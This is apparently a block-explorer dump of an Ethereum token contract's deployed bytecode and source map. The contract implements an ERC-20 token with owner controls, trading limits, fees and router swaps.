3610ff2565b6001546017819055601855565b6105a8610ff2565b6006805460ff60a01b1916600160a01b179055565b60006104333384846109c2565b6105d2610ff2565b600560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610625573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610649919061169f565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106cf919061169f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561071c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610740919061169f565b600680546001600160a01b0319166001600160a01b0392831617905560055460015461076f9230921690610892565b6005546001600160a01b031663f305d71947306107a1816001600160a01b031660009081526002602052604090205490565b60008033426040518863ffffffff1660e01b81526004016107c7969594939291906116bc565b60606040518083038185885af11580156107e5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061080a91906116f7565b505050565b610817610ff2565b6001600160a01b0381166108815760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6105748161104c565b610548610ff2565b6001600160a01b0383166108f45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610878565b6001600160a01b0382166109555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610878565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610511828461173b565b6001600160a01b038316610a265760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610878565b6001600160a01b038216610a885760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610878565b6001600160a01b038316600090815260026020526040902054811115610b0a5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610878565b6001600160a01b03831660009081526004602052604090205460ff16158015610b4c57506001600160a01b03821660009081526004602052604090205460ff16155b15610b9a57600654600160a01b900460ff16610b9a5760405162461bcd60e51b815260206004820152600d60248201526c74726164696e6741637469766560981b6044820152606401610878565b6001600160a01b03831660009081526004602052604090205460ff16158015610bdc57506001600160a01b03821660009081526004602052604090205460ff16155b8015610bf657506006546001600160a01b03838116911614155b8015610c0d57506001600160a01b03821661dead14155b15610c86576018546001600160a01b038316600090815260026020526040902054610c38908361109c565b1115610c865760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610878565b60175481111580610caf57506001600160a01b03831660009081526004602052604090205460ff165b80610cd257506001600160a01b03821660009081526004602052604090205460ff165b610d125760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610878565b6006546001600160a01b038381169116148015610d4857506001600160a01b03831660009081526004602052604090205460ff16155b15610d6657600160076000828254610d60919061174e565b90915550505b610d7083836110a8565b15610d8657610d80600a54611130565b60006007555b6001600160a01b038316600090815260026020526040902054610da990826109b6565b6001600160a01b038416600090815260026020526040812091909155610dcf84846112c1565b610dd95781610de4565b610de4848484611307565b6001600160a01b038416600090815260026020526040902054909150610e0a908261109c565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e5e9085815260200190565b60405180910390a350505050565b60008184841115610e905760405162461bcd60e51b81526004016108789190611579565b505050900390565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610ecd57610ecd611761565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4a919061169f565b81600181518110610f5d57610f5d611761565b6001600160a01b039283166020918202929092010152600554610f839130911684610892565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fbc908590600090869030904290600401611777565b600060405180830381600087803b158015610fd657600080fd5b505af1158015610fea573d6000803e3d6000fd5b505050505050565b6000546001600160a01b031633146105895760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610878565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610511828461174e565b60085460009060ff161580156110c75750600654600160a81b900460ff165b80156110dc5750600654600160a01b900460ff165b801561110157506001600160a01b03831660009081526004602052604090205460ff16155b801561111a57506006546001600160a01b038381169116145b8015610511575050600954600754101592915050565b6008805460ff19166001908117909155600e54600d54600c546000936111709360029361116a93919261116492839161109c565b9061109c565b90611474565b905060006111938261118d600c548661147490919063ffffffff16565b90611480565b905060006111a184836109b6565b9050476111ad82610e98565b60006111b947836109b6565b905060006111dc6111d5600c54886109b690919063ffffffff16565b8390611480565b905060006111f5600c548361147490919063ffffffff16565b9050801561120757611207868261148c565b600d5460009061121c9061116a856002611474565b90508015611268576015546001600160a01b03166108fc61123e8360026117e8565b6040518115909202916000818181858888f19350505050158015611266573d6000803e3d6000fd5b505b4780156112ab576014546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156112a9573d6000803e3d6000fd5b505b50506008805460ff191690555050505050505050565b6001600160a01b03821660009081526004602052604081205460ff161580156105115750506001600160a01b031660009081526004602052604090205460ff1615919050565b600080611314858561152e565b111561146d576000611337611329868661152e565b60135461116a908690611480565b6006549091506001600160a01b03868116911614801561136457506016546001600160a01b038581169116145b1561138d5761137783633b9aca00611474565b6006805460ff60a81b1916600160a81b17905590505b306000908152600260205260409020546113a7908261109c565b306000908152600260205260409020556113c4611329868661152e565b9050306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161140b91815260200190565b60405180910390a36000600f5411801561142f5750600f5461142d868661152e565b115b1561145b5761145b3061dead611456600f5461116a6013548961148090919063ffffffff16565b6109c2565b61146583826109b6565b915050610511565b5092915050565b600061051182846117e8565b600061051182846117ff565b6005546114a49030906001600160a01b031684610892565b60055460165460405163f305d71960e01b81526001600160a01b039283169263f305d7199285926114e492309289926000928392169042906004016116bc565b60606040518083038185885af1158015611502573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061152791906116f7565b5050505050565b6006546000906001600160a01b03908116908316036115505750601154610437565b6006546001600160a01b039081169084160361156f5750601054610437565b5060125492915050565b600060208083528351808285015260005b818110156115a65785810183015185820160400152820161158a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461057457600080fd5b600080604083850312156115ef57600080fd5b82356115fa816115c7565b946020939093013593505050565b60008060006060848603121561161d57600080fd5b8335611628816115c7565b92506020840135611638816115c7565b929592945050506040919091013590565b60006020828403121561165b57600080fd5b8135610511816115c7565b6000806040838503121561167957600080fd5b8235611684816115c7565b91506020830135611694816115c7565b809150509250929050565b6000602082840312156116b157600080fd5b8151610511816115c7565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b60008060006060848603121561170c57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b8181038181111561043757610437611725565b8082018082111561043757610437611725565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117c75784516001600160a01b0316835293830193918301916001016117a2565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761043757610437611725565b60008261181c57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c0b480c769509300dd91b6f62374461257873227393a0c392130af2cf3ffe2b764736f6c63430008110033
Deployed Bytecode Sourcemap
6503:9285:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8679:67;;;;;;;;;;-1:-1:-1;8739:5:0;;;;;;;;;;;;-1:-1:-1;;;8739:5:0;;;;8679:67;;;;;;;:::i;:::-;;;;;;;;9289:133;;;;;;;;;;-1:-1:-1;9289:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9289:133:0;1023:187:1;9428:132:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;9428:132:0;1215:177:1;15133:309:0;;;;;;;;;;-1:-1:-1;15133:309:0;;;;;:::i;:::-;;:::i;8829:67::-;;;;;;;;;;-1:-1:-1;8829:67:0;;6730:1;2000:36:1;;1988:2;1973:18;8829:67:0;1858:184:1;6930:51:0;;;;;;;;;;-1:-1:-1;6930:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10529:205;;;;;;;;;;;;;:::i;:::-;;8133:64;;;;;;;;;;;;;;;;8902:103;;;;;;;;;;-1:-1:-1;8902:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;8985:18:0;8968:7;8985:18;;;:9;:18;;;;;;;8902:103;4931;;;;;;;;;;;;;:::i;10144:131::-;;;;;;;;;;;;;:::i;8066:60::-;;;;;;;;;;;;;;;;10053:83;;;;;;;;;;;;;:::i;4283:87::-;;;;;;;;;;-1:-1:-1;4329:7:0;4356:6;-1:-1:-1;;;;;4356:6:0;4283:87;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;4283:87:0;2299:203:1;8752:71:0;;;;;;;;;;-1:-1:-1;8814:7:0;;;;;;;;;;;;-1:-1:-1;;;8814:7:0;;;;8752:71;;7018:19;;;;;;;;;;-1:-1:-1;7018:19:0;;;;-1:-1:-1;;;;;7018:19:0;;;9011:139;;;;;;;;;;-1:-1:-1;9011:139:0;;;;;:::i;:::-;;:::i;9156:127::-;;;;;;;;;;-1:-1:-1;9156:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;9254:18:0;;;9237:7;9254:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9156:127;9568:352;;;;;;;;;;;;;:::i;5189:201::-;;;;;;;;;;-1:-1:-1;5189:201:0;;;;;:::i;:::-;;:::i;9928:117::-;;;;;;;;;;;;;:::i;9289:133::-;9364:4;9371:37;9380:10;9392:7;9401:6;9371:8;:37::i;:::-;-1:-1:-1;9416:4:0;9289:133;;;;;:::o;9428:132::-;8985:9;:18;;;;7763:42;9481:7;8985:18;;;;;9498:12;;9481:7;;9498:60;;8985:18;;9498:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;9491:67;;9428:132;:::o;15133:309::-;15231:4;15248:36;15258:6;15266:9;15277:6;15248:9;:36::i;:::-;15295:117;15304:6;15312:10;15324:87;15360:6;15324:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15324:19:0;;;;;;:11;:19;;;;;;;;15344:10;15324:31;;;;;;;;;:87;:35;:87::i;:::-;15295:8;:117::i;:::-;-1:-1:-1;15430:4:0;15133:309;;;;;;:::o;10529:205::-;10593:17;;-1:-1:-1;;;;;10593:17:0;10579:10;:31;10571:40;;;;;;10657:4;8968:7;8985:18;;;:9;:18;;;;;;10622:42;;:16;:42::i;:::-;10675:51;;10683:10;;10704:21;10675:51;;;;;;;;;10704:21;10683:10;10675:51;;;;;;;;;;;;;;;;;;;;;10529:205::o;4931:103::-;4169:13;:11;:13::i;:::-;4996:30:::1;5023:1;4996:18;:30::i;:::-;4931:103::o:0;10144:131::-;4169:13;:11;:13::i;:::-;10213:12:::1;::::0;10198::::1;:27:::0;;;10236:16:::1;:31:::0;10144:131::o;10053:83::-;4169:13;:11;:13::i;:::-;10108::::1;:20:::0;;-1:-1:-1;;;;10108:20:0::1;-1:-1:-1::0;;;10108:20:0::1;::::0;;10053:83::o;9011:139::-;9089:4;9096:40;9106:10;9118:9;9129:6;9096:9;:40::i;9568:352::-;4169:13;:11;:13::i;:::-;9650:6:::1;;;;;;;;;-1:-1:-1::0;;;;;9650:6:0::1;-1:-1:-1::0;;;;;9650:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9632:46:0::1;;9687:4;9694:6;;;;;;;;;-1:-1:-1::0;;;;;9694:6:0::1;-1:-1:-1::0;;;;;9694:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9632:76;::::0;-1:-1:-1;;;;;;9632:76:0::1;::::0;;;;;;-1:-1:-1;;;;;3386:15:1;;;9632:76:0::1;::::0;::::1;3368:34:1::0;3438:15;;3418:18;;;3411:43;3303:18;;9632:76:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9625:4;:83:::0;;-1:-1:-1;;;;;;9625:83:0::1;-1:-1:-1::0;;;;;9625:83:0;;::::1;;::::0;;9751:6:::1;::::0;-1:-1:-1;9760:12:0;9719:54:::1;::::0;9736:4:::1;::::0;9751:6:::1;::::0;9719:8:::1;:54::i;:::-;9784:6;::::0;-1:-1:-1;;;;;9784:6:0::1;:22;9814:21;9845:4;9852:24;9845:4:::0;-1:-1:-1;;;;;8985:18:0;8968:7;8985:18;;;:9;:18;;;;;;;8902:103;9852:24:::1;9878:1;9881::::0;9884:10:::1;9896:15;9784:128;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;9568:352::o:0;5189:201::-;4169:13;:11;:13::i;:::-;-1:-1:-1;;;;;5278:22:0;::::1;5270:73;;;::::0;-1:-1:-1;;;5270:73:0;;4590:2:1;5270:73:0::1;::::0;::::1;4572:21:1::0;4629:2;4609:18;;;4602:30;4668:34;4648:18;;;4641:62;-1:-1:-1;;;4719:18:1;;;4712:36;4765:19;;5270:73:0::1;;;;;;;;;5354:28;5373:8;5354:18;:28::i;9928:117::-:0;4169:13;:11;:13::i;15450:335::-;-1:-1:-1;;;;;15543:19:0;;15535:68;;;;-1:-1:-1;;;15535:68:0;;4997:2:1;15535:68:0;;;4979:21:1;5036:2;5016:18;;;5009:30;5075:34;5055:18;;;5048:62;-1:-1:-1;;;5126:18:1;;;5119:34;5170:19;;15535:68:0;4795:400:1;15535:68:0;-1:-1:-1;;;;;15622:21:0;;15614:68;;;;-1:-1:-1;;;15614:68:0;;5402:2:1;15614:68:0;;;5384:21:1;5441:2;5421:18;;;5414:30;5480:34;5460:18;;;5453:62;-1:-1:-1;;;5531:18:1;;;5524:32;5573:19;;15614:68:0;5200:398:1;15614:68:0;-1:-1:-1;;;;;15693:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15745:32;;1361:25:1;;;15745:32:0;;1334:18:1;15745:32:0;;;;;;;15450:335;;;:::o;1692:98::-;1750:7;1777:5;1781:1;1777;:5;:::i;13786:1339::-;-1:-1:-1;;;;;13883:20:0;;13875:70;;;;-1:-1:-1;;;13875:70:0;;6070:2:1;13875:70:0;;;6052:21:1;6109:2;6089:18;;;6082:30;6148:34;6128:18;;;6121:62;-1:-1:-1;;;6199:18:1;;;6192:35;6244:19;;13875:70:0;5868:401:1;13875:70:0;-1:-1:-1;;;;;13964:23:0;;13956:71;;;;-1:-1:-1;;;13956:71:0;;6476:2:1;13956:71:0;;;6458:21:1;6515:2;6495:18;;;6488:30;6554:34;6534:18;;;6527:62;-1:-1:-1;;;6605:18:1;;;6598:33;6648:19;;13956:71:0;6274:399:1;13956:71:0;-1:-1:-1;;;;;8985:18:0;;8968:7;8985:18;;;:9;:18;;;;;;14046:6;:27;;14038:88;;;;-1:-1:-1;;;14038:88:0;;6880:2:1;14038:88:0;;;6862:21:1;6919:2;6899:18;;;6892:30;6958:34;6938:18;;;6931:62;-1:-1:-1;;;7009:18:1;;;7002:47;7066:19;;14038:88:0;6678:413:1;14038:88:0;-1:-1:-1;;;;;14141:26:0;;;;;;:18;:26;;;;;;;;14140:27;:61;;;;-1:-1:-1;;;;;;14172:29:0;;;;;;:18;:29;;;;;;;;14171:30;14140:61;14137:107;;;14211:13;;-1:-1:-1;;;14211:13:0;;;;14203:39;;;;-1:-1:-1;;;14203:39:0;;7298:2:1;14203:39:0;;;7280:21:1;7337:2;7317:18;;;7310:30;-1:-1:-1;;;7356:18:1;;;7349:43;7409:18;;14203:39:0;7096:337:1;14203:39:0;-1:-1:-1;;;;;14258:26:0;;;;;;:18;:26;;;;;;;;14257:27;:61;;;;-1:-1:-1;;;;;;14289:29:0;;;;;;:18;:29;;;;;;;;14288:30;14257:61;:91;;;;-1:-1:-1;14343:4:0;;-1:-1:-1;;;;;14322:26:0;;;14343:4;;14322:26;;14257:91;:121;;;;-1:-1:-1;;;;;;14352:26:0;;7763:42;14352:26;;14257:121;14254:235;;;14436:16;;-1:-1:-1;;;;;14399:20:0;;;;;;:9;:20;;;;;;:32;;14424:6;14399:24;:32::i;:::-;14398:54;;14390:97;;;;-1:-1:-1;;;14390:97:0;;7640:2:1;14390:97:0;;;7622:21:1;7679:2;7659:18;;;7652:30;7718:32;7698:18;;;7691:60;7768:18;;14390:97:0;7438:354:1;14390:97:0;14517:12;;14507:6;:22;;:52;;;-1:-1:-1;;;;;;14533:26:0;;;;;;:18;:26;;;;;;;;14507:52;:85;;;-1:-1:-1;;;;;;14563:29:0;;;;;;:18;:29;;;;;;;;14507:85;14499:115;;;;-1:-1:-1;;;14499:115:0;;7999:2:1;14499:115:0;;;7981:21:1;8038:2;8018:18;;;8011:30;-1:-1:-1;;;8057:18:1;;;8050:47;8114:18;;14499:115:0;7797:341:1;14499:115:0;14642:4;;-1:-1:-1;;;;;14629:17:0;;;14642:4;;14629:17;:48;;;;-1:-1:-1;;;;;;14651:26:0;;;;;;:18;:26;;;;;;;;14650:27;14629:48;14626:78;;;14700:1;14679:9;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;14626:78:0;14717:37;14736:6;14744:9;14717:18;:37::i;:::-;14714:97;;;14756:29;14771:13;;14756:14;:29::i;:::-;14807:1;14787:9;:22;14714:97;-1:-1:-1;;;;;14841:17:0;;;;;;:9;:17;;;;;;:29;;14863:6;14841:21;:29::i;:::-;-1:-1:-1;;;;;14821:17:0;;;;;;:9;:17;;;;;:49;;;;14906:32;14831:6;14928:9;14906:13;:32::i;:::-;:78;;14978:6;14906:78;;;14941:34;14949:6;14957:9;14968:6;14941:7;:34::i;:::-;-1:-1:-1;;;;;15018:20:0;;;;;;:9;:20;;;;;;14881:103;;-1:-1:-1;15018:40:0;;14881:103;15018:24;:40::i;:::-;-1:-1:-1;;;;;14995:20:0;;;;;;;:9;:20;;;;;;;:63;;;;15074:43;;;;;;;;;;15102:14;1361:25:1;;1349:2;1334:18;;1215:177;15074:43:0;;;;;;;;13864:1261;13786:1339;;;:::o;2116:240::-;2236:7;2297:12;2289:6;;;;2281:29;;;;-1:-1:-1;;;2281:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2332:5:0;;;2116:240::o;12156:434::-;12246:16;;;12260:1;12246:16;;;;;;;;12222:21;;12246:16;;;;;;;;;;-1:-1:-1;12246:16:0;12222:40;;12291:4;12273;12278:1;12273:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12273:23:0;;;:7;;;;;;;;;;:23;;;;12317:6;;:13;;;-1:-1:-1;;;12317:13:0;;;;:6;;;;;:11;;:13;;;;;12273:7;;12317:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12307:4;12312:1;12307:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12307:23:0;;;:7;;;;;;;;;:23;12373:6;;12341:53;;12358:4;;12373:6;12382:11;12341:8;:53::i;:::-;12405:6;;:177;;-1:-1:-1;;;12405:177:0;;-1:-1:-1;;;;;12405:6:0;;;;:57;;:177;;12477:11;;12405:6;;12519:4;;12546;;12566:15;;12405:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12211:379;12156:434;:::o;4448:132::-;4329:7;4356:6;-1:-1:-1;;;;;4356:6:0;310:10;4512:23;4504:68;;;;-1:-1:-1;;;4504:68:0;;9724:2:1;4504:68:0;;;9706:21:1;;;9743:18;;;9736:30;9802:34;9782:18;;;9775:62;9854:18;;4504:68:0;9522:356:1;5550:191:0;5624:16;5643:6;;-1:-1:-1;;;;;5660:17:0;;;-1:-1:-1;;;;;;5660:17:0;;;;;;5693:40;;5643:6;;;;;;;5693:40;;5624:16;5693:40;5613:128;5550:191;:::o;1586:98::-;1644:7;1671:5;1675:1;1671;:5;:::i;10283:238::-;10394:8;;10369:4;;10394:8;;10393:9;:24;;;;-1:-1:-1;10406:11:0;;-1:-1:-1;;;10406:11:0;;;;10393:24;:41;;;;-1:-1:-1;10421:13:0;;-1:-1:-1;;;10421:13:0;;;;10393:41;:72;;;;-1:-1:-1;;;;;;10439:26:0;;;;;;:18;:26;;;;;;;;10438:27;10393:72;:93;;;;-1:-1:-1;10482:4:0;;-1:-1:-1;;;;;10469:17:0;;;10482:4;;10469:17;10393:93;:120;;;;-1:-1:-1;;10503:10:0;;10490:9;;:23;;;10283:238;-1:-1:-1;;10283:238:0:o;10742:1063::-;7376:8;:15;;-1:-1:-1;;7376:15:0;7387:4;7376:15;;;;;;10879:14:::1;::::0;10861:12:::1;::::0;10837::::1;::::0;7376:8;;10836:66:::1;::::0;10900:1:::1;::::0;10837:57:::1;::::0;10879:14;;10837:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;:57::-;10836:63:::0;::::1;:66::i;:::-;10813:89;;10913:32;10948:42;10977:12;10948:24;10959:12;;10948:6;:10;;:24;;;;:::i;:::-;:28:::0;::::1;:42::i;:::-;10913:77:::0;-1:-1:-1;11001:14:0::1;11018:36;:6:::0;10913:77;11018:10:::1;:36::i;:::-;11001:53:::0;-1:-1:-1;11090:21:0::1;11122:24;11001:53:::0;11122:16:::1;:24::i;:::-;11157:20;11180:41;:21;11206:14:::0;11180:25:::1;:41::i;:::-;11157:64;;11232:19;11253:48;11270:30;11287:12;;11270;:16;;:30;;;;:::i;:::-;11253:12:::0;;:16:::1;:48::i;:::-;11232:69;;11312:29;11344;11360:12;;11344:11;:15;;:29;;;;:::i;:::-;11312:61:::0;-1:-1:-1;11387:34:0;;11384:103:::1;;11423:61;11436:24;11462:21;11423:12;:61::i;:::-;11543:12;::::0;11497:20:::1;::::0;11520:36:::1;::::0;:18:::1;:11:::0;11536:1:::1;11520:15;:18::i;:36::-;11497:59:::0;-1:-1:-1;11570:16:0;;11567:74:::1;;11596:17;::::0;-1:-1:-1;;;;;11596:17:0::1;11588:51;11624:14;:12:::0;11637:1:::1;11624:14;:::i;:::-;11588:51;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11567:74;11677:21;11712:28:::0;;11709:89:::1;;11750:19;::::0;11742:54:::1;::::0;-1:-1:-1;;;;;11750:19:0;;::::1;::::0;11742:54;::::1;;;::::0;11780:15;;11750:19:::1;11742:54:::0;11750:19;11742:54;11780:15;11750:19;11742:54;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11709:89;-1:-1:-1::0;;7396:8:0;:16;;-1:-1:-1;;7396:16:0;;;-1:-1:-1;;;;;;;;10742:1063:0:o;12598:174::-;-1:-1:-1;;;;;12704:26:0;;12679:4;12704:26;;;:18;:26;;;;;;;;12703:27;:61;;;;-1:-1:-1;;;;;;;12735:29:0;;;;;:18;:29;;;;;;;;12734:30;;12598:174;-1:-1:-1;12598:174:0:o;13008:770::-;13094:7;13151:1;13117:31;13130:6;13138:9;13117:12;:31::i;:::-;:35;13114:642;;;13164:17;13184:60;13212:31;13225:6;13233:9;13212:12;:31::i;:::-;13195:11;;13184:23;;:6;;:10;:23::i;:60::-;13266:4;;13164:80;;-1:-1:-1;;;;;;13258:12:0;;;13266:4;;13258:12;:35;;;;-1:-1:-1;13283:10:0;;-1:-1:-1;;;;;13272:21:0;;;13283:10;;13272:21;13258:35;13255:84;;;13305:15;:6;13316:3;13305:10;:15::i;:::-;13321:11;:16;;-1:-1:-1;;;;13321:16:0;-1:-1:-1;;;13321:16:0;;;13295:25;-1:-1:-1;13255:84:0;13394:4;13376:24;;;;:9;:24;;;;;;:39;;13405:9;13376:28;:39::i;:::-;13367:4;13349:24;;;;:9;:24;;;;;:66;13438:60;13466:31;13479:6;13487:9;13466:12;:31::i;13438:60::-;13426:72;;13539:4;-1:-1:-1;;;;;13514:42:0;13523:6;-1:-1:-1;;;;;13514:42:0;;13546:9;13514:42;;;;1361:25:1;;1349:2;1334:18;;1215:177;13514:42:0;;;;;;;;13588:1;13570:7;;:20;:65;;;;;13628:7;;13594:31;13607:6;13615:9;13594:12;:31::i;:::-;:41;13570:65;13567:149;;;13637:77;13655:4;7763:42;13677:36;13705:7;;13677:23;13688:11;;13677:6;:10;;:23;;;;:::i;:36::-;13637:9;:77::i;:::-;13733:21;:6;13744:9;13733:10;:21::i;:::-;13726:28;;;;;13114:642;-1:-1:-1;13764:6:0;13008:770;-1:-1:-1;;13008:770:0:o;1798:98::-;1856:7;1883:5;1887:1;1883;:5;:::i;1904:98::-;1962:7;1989:5;1993:1;1989;:5;:::i;11813:335::-;11926:6;;11894:53;;11911:4;;-1:-1:-1;;;;;11926:6:0;11935:11;11894:8;:53::i;:::-;11958:6;;12099:10;;11958:182;;-1:-1:-1;;;11958:182:0;;-1:-1:-1;;;;;11958:6:0;;;;:22;;11988:9;;11958:182;;12021:4;;12041:11;;11958:6;;;;12099:10;;12124:15;;11958:182;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11813:335;;:::o;12780:220::-;12896:4;;12860:7;;-1:-1:-1;;;;;12896:4:0;;;12883:17;;;;12880:38;;-1:-1:-1;12909:7:0;;12902:14;;12880:38;12941:4;;-1:-1:-1;;;;;12941:4:0;;;12931:14;;;;12928:36;;-1:-1:-1;12954:8:0;;12947:15;;12928:36;-1:-1:-1;12981:11:0;;12780:220;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:251::-;2970:6;3023:2;3011:9;3002:7;2998:23;2994:32;2991:52;;;3039:1;3036;3029:12;2991:52;3071:9;3065:16;3090:31;3115:5;3090:31;:::i;3465:607::-;-1:-1:-1;;;;;3824:15:1;;;3806:34;;3871:2;3856:18;;3849:34;;;;3914:2;3899:18;;3892:34;;;;3957:2;3942:18;;3935:34;;;;4006:15;;;4000:3;3985:19;;3978:44;3786:3;4038:19;;4031:35;;;;3755:3;3740:19;;3465:607::o;4077:306::-;4165:6;4173;4181;4234:2;4222:9;4213:7;4209:23;4205:32;4202:52;;;4250:1;4247;4240:12;4202:52;4279:9;4273:16;4263:26;;4329:2;4318:9;4314:18;4308:25;4298:35;;4373:2;4362:9;4358:18;4352:25;4342:35;;4077:306;;;;;:::o;5603:127::-;5664:10;5659:3;5655:20;5652:1;5645:31;5695:4;5692:1;5685:15;5719:4;5716:1;5709:15;5735:128;5802:9;;;5823:11;;;5820:37;;;5837:18;;:::i;8143:125::-;8208:9;;